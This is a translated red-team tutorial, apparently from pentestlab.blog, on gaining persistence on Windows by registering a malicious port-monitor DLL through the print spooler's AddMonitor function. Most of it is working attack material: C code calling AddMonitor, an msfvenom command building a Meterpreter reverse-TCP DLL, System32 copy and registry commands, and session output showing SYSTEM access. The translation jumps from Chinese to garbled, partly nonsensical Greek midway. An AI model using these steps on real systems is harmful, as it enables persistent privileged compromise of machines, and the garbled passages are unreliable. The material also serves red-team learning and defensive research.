

后台打印程序服务负责管理Windows操作系统中的打印作业。与服务的交互通过打印后台处理程序API执行，该API包含一个函数（AddMonitor），可用于安装本地端口监视器并连接配置、数据和监视器文件。此函数能够将DLL注入spoolsv.exe进程，并且通过创建注册表项，red team operator可以在系统上实现持久性。

[Brady Bloxham](#)在[Defcon 22](#)上演示了这种持久性技术。应该注意的是，此技术需要管理员级别的特权，并且DLL必须拖放到磁盘上。[Mantvydas Baranauskas](#)在他的[网站上](#)使用了以下代码，作为他的红色团队笔记的一部分。

该WINDOWS.H报头包括Winspool.h这是由微软规范所需的头。该MONITOR_INFO_2用于指定必要的监控细节是：

- **pName** //监视器名称
- **pEnvironment** //环境架构
- **pDLLName** //监视器DLL文件的名称

```
#include "Windows.h"

int main() {
    MONITOR_INFO_2 monitorInfo;
    TCHAR env[12] = TEXT("Windows x64");
    TCHAR name[12] = TEXT("Monitor");
    TCHAR dll[12] = TEXT("test.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = env;
    monitorInfo.pDLLName = dll;
    AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
    return 0;
}
```

```
1  #include "Windows.h"
2
3  int main() {
4      MONITOR_INFO_2 monitorInfo;
5      TCHAR env[12] = TEXT("Windows x64");
6      TCHAR name[12] = TEXT("Monitor");
7      TCHAR dll[12] = TEXT("test.dll");
8      monitorInfo.pName = name;
9      monitorInfo.pEnvironment = env;
10     monitorInfo.pDLLName = dll;
11     AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
12     return 0;
13 }
```

AddMonitor功能

编译代码将生成一个可执行文件（在本例中为Monitors.exe），该可执行文件将在系统上执行恶意DLL（test.dll）的注册。Metasploit框架可用于生成将服务于Meterpreter有效负载的DLL文件。

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f
dll > test.dll
```

该DLL必须复制到System32文件夹上，因为根据Microsoft [文档](#)，这是AddMonitor函数的预期位置，以便加载相关的DLL。

```
copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32
Monitors.exe
```

```
C:\Windows\system32>copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32
1 file(s) copied.
```

```
C:\Windows\system32>Monitors.exe
```

```
C:\Windows\system32>_
```

将恶意DLL复制到System32

Monitors.exe必须与恶意DLL位于同一文件夹（System32）中。执行该文件将与Meterpreter建立通信。

```
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 10.0.2.21:4444
```

```
[*] Sending stage (206403 bytes) to 10.0.2.30
```

```
[*] Meterpreter session 1 opened (10.0.2.21:4444 -> 10.0.2.30:49692) at 2019-10-24 19:17:37 -0400
```

```
meterpreter > █
```

Meterpreter – AddMonitor注册DLL

但是，为了实现持久性，在“**Monitors**”注册表位置下需要一个密钥。

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
```

以下命令将创建一个注册表项，该注册表项将包含值**test.dll**。从编辑器中查看注册表将验证密钥是否已创建。

```
reg add "hkml\system\currentcontrolset\control\print\monitors\Pentestlab" /v
"Driver" /d "test.dll" /t REG_SZ
```

Υπολογιστής\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\Pentestlab

Όνομα	Τύπος	Δεδομένα
(Προεπιλογή)	REG_SZ	(η τιμή δεν έχει οριστεί)
Driver	REG_SZ	test.dll

Ενδομήτρηση – Μητρώο

Κατά την επανεκκίνηση, ο `spoolsv.exe` διαδικασία θα φορτίσει τα Μητρώο εγγραφές που υπάρχουν και αποθηκεύονται στο Windows φάκελο `System32` όλα τα οδηγία DLL αρχεία. Το παρακάτω δείχνει ότι η `Meterpreter` συνεδρία έχει ήδη δημιουργήσει με την υπηρεσία `Print Spooler` (SYSTEM) ίδιας εξουσίας, και έχει ήδη εκτελέσει από τον φάκελο `System32` (ο φάκελος `test.dll` έχει διαγραφεί) την εκτέλεση.

```
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.2.21:4444
[*] 10.0.2.30 - Meterpreter session 2 closed. Reason: Died
[*] Sending stage (206403 bytes) to 10.0.2.30
[*] Meterpreter session 3 opened (10.0.2.21:4444 -> 10.0.2.30:49669) at 2019-10-26 08:35:24 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Windows\system32
meterpreter >
```

Μεταρκτική Ενδομήτρηση – Meterpreter

Μετάφραση: Το κείμενο αυτό έχει μεταφραστεί από το Bypass, χρησιμοποιείται μόνο για σκοπούς έρευνας και μάθησης.

Πηγή: <https://pentestlab.blog/2019/10/28/persistence-port-monitors/>

